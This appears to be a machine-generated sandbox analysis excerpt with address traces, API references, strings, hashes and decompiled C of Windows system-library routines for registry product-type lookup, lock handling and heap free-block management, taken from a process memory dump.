0x6ceb651e
0x6ceb6521
0x6ceb6524
0x6ceb652a
0x6ceb652f
0x6ceb6532
0x6ceb6536
0x6ceb6537
0x6ceb653e
0x6ceb6544
0x6ceb6545
0x6ceb654c
0x6ceb6552
0x6ceb6553
0x6ceb6554
0x6ceb655b
0x6ceb6562
0x6ceb6566
0x6ceb656d
0x6ceb6574
0x6ceb657b
0x6ceb6582
0x6ceb6585
0x6ceb6588
0x6ceb658b
0x6ceb6592
0x6ceb6595
0x6ceb6598
0x6ceb659d
0x6ceb65a1
0x6ceb65aa
0x6ceb65ab
0x6ceb65b0
0x6ceb65b1
0x6ceb65b6
0x6ceb65b7
0x6ceb65ba
0x6ceb65bf
0x6ceb65c3
0x6ceb65c8
0x6ceb662d
0x6ceb662d
0x6ceb65ca
0x6ceb65ca
0x6ceb65ca
0x6ceb65d0
0x00000000
0x6ceb65d2
0x6ceb65d5
0x6ceb65d9
0x6ceb65df
0x6ceb65f3
0x6ceb6609
0x6ceb6623
0x00000000
0x6ceb6625
0x6ceb6625
0x6ceb6625
0x6ceb660b
0x6ceb660b
0x6ceb660b
0x6ceb65f5
0x6ceb65f5
0x6ceb65f5
0x6ceb65f3
0x6ceb65d0
0x6ceb65c8
0x6ceb65c3
0x6ceb6636
0x6ceb6638
0x6ceb663b
0x6ceb663b
0x6ceb6652

APIs

ZwOpenKey.1105(?,00000001,?,00000124,00000000,00000000), ref: 6CEB6598

Part of subcall function 6CE49600: LdrInitializeThunk.NTDLL(6CE41119,?,?,00000018,?), ref: 6CE4960A

ZwQueryValueKey.1105(?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6CEB65BA
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6CEB65EC
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124), ref: 6CEB6602
ZwClose.1105(00000000,?,00000001,?,00000124,00000000,00000000), ref: 6CEB663B

Strings

7fl, xrefs: 6CEB65CA
WinNt, xrefs: 6CEB657B
\Registry\Machine\System\CurrentControlSet\Control\ProductOptions, xrefs: 6CEB655B
LanmanNt, xrefs: 6CEB656D
ProductType, xrefs: 6CEB6566
ServerNt, xrefs: 6CEB6574

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$CloseInitializeOpenQueryThunkValue
String ID: 7fl$LanmanNt$ProductType$ServerNt$WinNt$\Registry\Machine\System\CurrentControlSet\Control\ProductOptions
API String ID: 1342846649-3695076517
Opcode ID: 02a694dfc0ec7061c9e39965db569fc05acb5b676cf73c42224ae36ec06a36c0
Instruction ID: 3ebda22d6efa9266b0a2a7a059a7eba99cbde57915fe3a342730bb2d3449b6a1
Opcode Fuzzy Hash: 02a694dfc0ec7061c9e39965db569fc05acb5b676cf73c42224ae36ec06a36c0
Instruction Fuzzy Hash: F241F6B2D0120DEADB14CFE4DA81AEEBBBCFF09704F20412AE514BB650E7759909CB55

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0395E, Relevance: 19.7, APIs: 13, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6CE0395E(void* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t67;
				void* _t77;
				intOrPtr* _t81;
				signed int _t93;
				void* _t94;
				intOrPtr* _t97;
				intOrPtr* _t104;
				void* _t112;
				long _t113;
				signed int _t114;
				void* _t123;

				_v8 =  *0x6cefd360 ^ _t114;
				_v16 = __edx;
				_t93 = 0;
				_t112 = __ecx;
				_v12 = _v12 & 0;
				E6CE2FAD0( *0x6cef84cc + 4);
				_t110 =  *0x6cef84cc + 8;
				_t97 =  *_t110;
				while(_t97 != _t110) {
					_t113 = _t97 - 0x1c;
					_t67 =  *((intOrPtr*)(_t112 + 0xc));
					if( *((intOrPtr*)(_t113 + 0x10)) !=  *((intOrPtr*)(_t112 + 8)) ||  *((intOrPtr*)(_t113 + 0x14)) != _t67 ||  *((intOrPtr*)(_t113 + 8)) !=  *_t112) {
						L21:
						_t97 =  *_t97;
						continue;
					} else {
						_t69 =  *((intOrPtr*)(_t113 + 0xc));
						if( *((intOrPtr*)(_t113 + 0xc)) !=  *((intOrPtr*)(_t112 + 4))) {
							goto L21;
						}
						_t94 = _t113 + 0x28;
						E6CE22280(_t69, _t94);
						if( *(_t113 + 0x5c) == 2) {
							__eflags = _v16;
							if(_v16 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t113 + 0x58));
								 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
								 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & 0x00000000;
								L8:
								asm("lock inc dword [esi+0x50]");
								 *(_t113 + 0x5c) = 1;
								E6CE1FFB0(_t94, _t112, _t94);
								_t123 =  *0x6cef84cc + 4;
								E6CE2FA00(_t94, _t97, _t112,  *0x6cef84cc + 4);
								while(1) {
									_t95 = 0;
									_t77 = E6CE03ACA(0, _t112, _t113, _t112, _t113, _t123, 0);
									_t124 = _t77 - 0xc000022d;
									if(_t77 == 0xc000022d) {
										_t95 = 0xc000022d;
									}
									_t110 = _t113;
									if(E6CE03ACA(_t95, _t112, _t113, _t112, _t113, _t124, 1) == 0xc000022d) {
										_t93 = 0xc000022d;
									}
									E6CE22280(_t113 + 0x28, _t113 + 0x28);
									_v12 = _v12 + 1;
									_t104 = _t113 + 0x2c;
									_t81 =  *_t104;
									while(_t81 != _t104) {
										 *(_t81 + 0x60) =  *(_t81 + 0x60) & 0x00000000;
										_t81 =  *_t81;
									}
									if( *(_t113 + 0x58) != 0) {
										_t112 =  *(_t113 + 0x58);
										 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
										E6CE1FFB0(_t93, _t112, _t113 + 0x28);
										continue;
									}
									if(_t93 != 0) {
										__eflags = _t93 - 0xc000022d;
										if(_t93 == 0xc000022d) {
											 *(_t113 + 0x58) = _t112;
											 *(_t113 + 0x5c) = 2;
											E6CE92DA1(_t113);
										}
										L17:
										E6CE1FFB0(_t93, _t112, _t113 + 0x28);
										E6CE3DE9E(_t113);
										L18:
										if(_v12 > 1) {
											_t113 = 0;
											_t49 = _t112 + 8; // 0x8
											_push(0);
											_push(0);
											_push(_t93);
											_push( *((intOrPtr*)(_t112 + 0x18)));
											_push(_t112);
											E6CE4A3A0();
											__eflags = _t93;
											if(_t93 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t112);
											}
											_t93 = 0x80;
										}
										return E6CE4B640(_t93, _t93, _v8 ^ _t114, _t110, _t112, _t113);
									}
									 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & _t93;
									if( *((intOrPtr*)(_t113 + 0x18)) != _t93) {
										__eflags =  *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18));
										if( *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18)) > 0) {
											goto L16;
										}
										goto L17;
									}
									L16:
									 *((intOrPtr*)(_t113 + 0x18)) =  *((intOrPtr*)(_t112 + 0x10));
									goto L17;
								}
							}
							_push(_t94);
							L27:
							E6CE1FFB0(_t94, _t112);
							_t93 = 0x80;
							break;
						}
						if( *(_t113 + 0x5c) == 1) {
							__eflags = _v16;
							_push(_t94);
							if(_v16 != 0) {
								goto L27;
							}
							 *(_t113 + 0x58) = _t112;
							E6CE1FFB0(_t94, _t112);
							_t93 = 0x103;
							break;
						}
						goto L8;
					}
				}
				E6CE2FA00(_t93, _t97, _t112,  *0x6cef84cc + 4);
				goto L18;
			}

0x6ce0396d
0x6ce0397b
0x6ce0397e
0x6ce03980
0x6ce03982
0x6ce03986
0x6ce03991
0x6ce03994
0x6ce03996
0x6ce039a1
0x6ce039a7
0x6ce039aa
0x6ce03aa7
0x6ce03aa7
0x00000000
0x6ce039c4
0x6ce039c4
0x6ce039ca
0x00000000
0x00000000
0x6ce039d0
0x6ce039d4
0x6ce039dd
0x6ce5fffc
0x6ce60000
0x6ce60020
0x6ce60025
0x6ce60029
0x6ce039ed
0x6ce039ed
0x6ce039f2
0x6ce039f9
0x6ce03a03
0x6ce03a07
0x6ce03a0c
0x6ce03a0c
0x6ce03a13
0x6ce03a1d
0x6ce03a1f
0x6ce6004b
0x6ce6004b
0x6ce03a27
0x6ce03a37
0x6ce60052
0x6ce60052
0x6ce03a41
0x6ce03a46
0x6ce03a49
0x6ce03a4c
0x6ce03a4e
0x6ce03a9f
0x6ce03aa3
0x6ce03aa3
0x6ce03a56
0x6ce60059
0x6ce6005f
0x6ce60064
0x00000000
0x6ce60064
0x6ce03a5e
0x6ce60073
0x6ce60075
0x6ce6007d
0x6ce60080
0x6ce60087
0x6ce60087
0x6ce03a72
0x6ce03a76
0x6ce03a7d
0x6ce03a82
0x6ce03a86
0x6ce60091
0x6ce60093
0x6ce60096
0x6ce60097
0x6ce60098
0x6ce60099
0x6ce6009c
0x6ce6009e
0x6ce600a3
0x6ce600a5
0x6ce600b2
0x6ce600b2
0x6ce600b7
0x6ce600b7
0x6ce03a9e
0x6ce03a9e
0x6ce03a64
0x6ce03a6a
0x6ce03ac4
0x6ce03ac6
0x00000000
0x00000000
0x00000000
0x6ce03ac8
0x6ce03a6c
0x6ce03a6f
0x00000000
0x6ce03a6f
0x6ce03a0c
0x6ce60002
0x6ce60003
0x6ce60003
0x6ce60008
0x00000000
0x6ce60008
0x6ce039e7
0x6ce60032
0x6ce60036
0x6ce60037
0x00000000
0x00000000
0x6ce60039
0x6ce6003c
0x6ce60041
0x00000000
0x6ce60041
0x00000000
0x6ce039e7
0x6ce039aa
0x6ce03ab7
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000000), ref: 6CE03986
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000), ref: 6CE039D4
RtlReleaseSRWLockExclusive.1105(?), ref: 6CE039F9
RtlReleaseSRWLockShared.1105(?,?), ref: 6CE03A07
RtlAcquireSRWLockExclusive.1105(?,00000001,00000000,?,?), ref: 6CE03A41
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000001,00000000,?,?), ref: 6CE03A76
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000000), ref: 6CE03AB7

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 724a42edfac398930071585b76781a54db140b59c0a74d543eef913495df473b
Instruction ID: e7727f9c7efb6d3155c5a773908d2afcf862303b5f002741db88e177b7b9abef
Opcode Fuzzy Hash: 724a42edfac398930071585b76781a54db140b59c0a74d543eef913495df473b
Instruction Fuzzy Hash: B75157717007459FD7208B9AC885FAAB3B9AB4631DF20492ED04687F11DB78E859CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2A830, Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E6CE2A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x6cef8748 - 1;
					if( *0x6cef8748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E6CE0B150();
									_t260 = _t257 + 4;
								} else {
									E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E6CE0B150();
								_t257 = _t260 + 4;
								__eflags =  *0x6cef7bc8;
								if(__eflags == 0) {
									E6CEC2073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E6CECA80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E6CE5D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E6CE2AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E6CECA80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E6CECA80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x6cef8748 - 1;
					if( *0x6cef8748 >= 1) {
						_t131 = _t256 + 0x00000fff & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E6CE0B150();
							} else {
								E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E6CE0B150();
							__eflags =  *0x6cef7bc8;
							if(__eflags == 0) {
								_t131 = E6CEC2073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x6ce2a83a
0x6ce2a83c
0x6ce2a83e
0x6ce2a841
0x6ce2a844
0x6ce2a84a
0x6ce2aa53
0x6ce2aa59
0x6ce2aa59
0x6ce2a858
0x6ce2a85e
0x6ce2aaf5
0x6ce2aafc
0x6ce7229e
0x6ce722a2
0x6ce722a8
0x6ce722b3
0x6ce722b5
0x6ce722bb
0x6ce722c1
0x6ce722c5
0x6ce722e6
0x6ce722eb
0x6ce722f0
0x6ce722c7
0x6ce722dc
0x6ce722e1
0x6ce722e1
0x6ce722f3
0x6ce722f8
0x6ce722fd
0x6ce72300
0x6ce72307
0x6ce7230e
0x6ce7230e
0x6ce72313
0x6ce72313
0x6ce722b5
0x6ce722a2
0x6ce2aafc
0x6ce2a864
0x6ce2a869
0x6ce2aa5c
0x6ce2aa5e
0x6ce2a86f
0x6ce2a87f
0x6ce2a885
0x6ce2a885
0x6ce2a88b
0x6ce2a890
0x6ce2a896
0x6ce2ab0c
0x6ce2ab0f
0x6ce2ab15
0x6ce72320
0x6ce72320
0x6ce2ab1b
0x6ce2a89c
0x6ce2a89f
0x6ce2a8a2
0x6ce2a8a2
0x6ce2a8a5
0x6ce2a8af
0x6ce2a8b3
0x6ce2a8b8
0x6ce2aa66
0x6ce2a8be
0x6ce2a8c5
0x6ce2a8c6
0x6ce2a8ce
0x6ce72328
0x6ce72332
0x6ce72337
0x6ce72337
0x6ce2a8ce
0x6ce2a8d4
0x6ce2a8d8
0x6ce2a8db
0x6ce2a8de
0x6ce2a8e1
0x6ce2a8e5
0x6ce2a8e8
0x6ce2a8f0
0x6ce2a8f3
0x6ce7234c
0x6ce72350
0x6ce72355
0x6ce72359
0x6ce72359
0x6ce2a8f9
0x6ce2a901
0x6ce2aae4
0x6ce2aae4
0x6ce2aaea
0x00000000
0x6ce2a907
0x6ce2a90a
0x6ce2a91d
0x6ce2a91d
0x00000000
0x6ce2a910
0x6ce2a910
0x6ce2a910
0x6ce2a914
0x6ce2a924
0x6ce2a924
0x6ce2a924
0x6ce2a924
0x6ce2a916
0x6ce2a91b
0x00000000
0x00000000
0x00000000
0x6ce2a91b
0x6ce2a925
0x6ce2a925
0x6ce2a932
0x6ce2a936
0x6ce2a93c
0x6ce2a93c
0x6ce2a93c
0x6ce2ab22
0x6ce2ab24
0x6ce2ab27
0x6ce2ab27
0x6ce2a942
0x6ce2a944
0x6ce2aaba
0x6ce2aabd
0x6ce2aac0
0x6ce2aac0
0x6ce2aac2
0x6ce2ab2f
0x6ce2aac4
0x6ce2aac4
0x6ce2aac7
0x6ce2aaca
0x6ce2aacc
0x6ce2aace
0x6ce2aace
0x6ce2aace
0x6ce2aad1
0x6ce2aad1
0x6ce2aad7
0x6ce2aad9
0x00000000
0x00000000
0x6ce72361
0x6ce72369
0x6ce7236b
0x00000000
0x6ce72371
0x00000000
0x6ce72371
0x00000000
0x6ce7236b
0x6ce2aac0
0x6ce2a94a
0x6ce2a94a
0x6ce2a94d
0x6ce2a94d
0x6ce2a950
0x6ce2a954
0x6ce72376
0x6ce72380
0x6ce2a95a
0x6ce2a95a
0x6ce2a95c
0x6ce2a95f
0x6ce2a961
0x6ce2a961
0x6ce2a967
0x6ce2a96a
0x6ce2a972
0x6ce2aa02
0x6ce2aa06
0x6ce2aa10
0x6ce2aa16
0x6ce2aa16
0x6ce2aa1b
0x6ce2aa21
0x6ce2aa24
0x6ce2aa27
0x6ce2aa29
0x6ce2aa2c
0x6ce2aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce2a978
0x6ce2a978
0x6ce2a97b
0x6ce2a981
0x6ce2a996
0x6ce2a998
0x6ce2a99f
0x6ce2a9a2
0x6ce7238a
0x6ce2a9a8
0x6ce2a9a8
0x6ce2a9a8
0x6ce2a9aa
0x6ce2a9ad
0x6ce2a9b0
0x6ce2a9bb
0x6ce2a9be
0x6ce2a9c7
0x6ce2a9c9
0x6ce2a9c9
0x6ce2a9cc
0x6ce2a9d1
0x6ce2aa6d
0x6ce2aa70
0x6ce2aa73
0x6ce2aa75
0x6ce2aa79
0x6ce2aa7e
0x6ce2aa82
0x6ce2aa8f
0x6ce2aa94
0x6ce2aa96
0x6ce72392
0x6ce723a1
0x6ce723a1
0x6ce2aa9c
0x6ce2aa9f
0x6ce2aaa2
0x6ce2aaa2
0x6ce2aaa8
0x6ce2aaab
0x6ce2aaaf
0x00000000
0x6ce2aab5
0x00000000
0x6ce2aab5
0x6ce2a9d7
0x6ce2a9d7
0x6ce2a9da
0x6ce2a9e0
0x6ce2a9e3
0x6ce2a9e6
0x6ce2a9e9
0x6ce2a9eb
0x6ce2a9fd
0x6ce2a9fd
0x00000000
0x6ce2a9eb
0x00000000
0x00000000
0x00000000
0x6ce2a983
0x6ce2a983
0x6ce2a983
0x6ce2a987
0x6ce2a995
0x6ce2a995
0x6ce2a995
0x6ce2a995
0x6ce2a989
0x6ce2a98e
0x00000000
0x6ce2a990
0x00000000
0x6ce2a990
0x6ce2a98e
0x00000000
0x6ce2a983
0x6ce2a972
0x6ce2a90a
0x6ce2aa34
0x6ce2aa34
0x6ce2aa40
0x6ce2aa43
0x6ce2aa46
0x6ce2aa4d
0x6ce723ab
0x6ce723b2
0x6ce723be
0x6ce723c3
0x6ce723c5
0x6ce723cb
0x6ce723d1
0x6ce723d5
0x6ce723f6
0x6ce723fb
0x6ce723d7
0x6ce723ec
0x6ce723f1
0x6ce72403
0x6ce72408
0x6ce72410
0x6ce72417
0x6ce72422
0x6ce72422
0x6ce72417
0x6ce723c5
0x6ce723b2
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000018,?,?,?,?,?,?,?,?,?,6CE2A3D0,?,?,-00000018), ref: 6CE722DC
DbgPrint.1105(((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)),?,?,?,?,?,?,?,?,6CE2A3D0,?,?,-00000018,?), ref: 6CE722F8

Strings

HEAP[%wZ]: , xrefs: 6CE722D7, 6CE723E7
((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 6CE722F3
HEAP: , xrefs: 6CE722E6, 6CE723F6
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 6CE72403

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 3558298466-1657114761
Opcode ID: d4291d927c738c8cab9526d91fe7cfb927d76908c6154340bddc5b2f1b3cc924
Instruction ID: 2ac45fbcfa8b2fa0f2eaedf1f3e9004a1a089cb38e41cd3a73fbe4623ed56a63
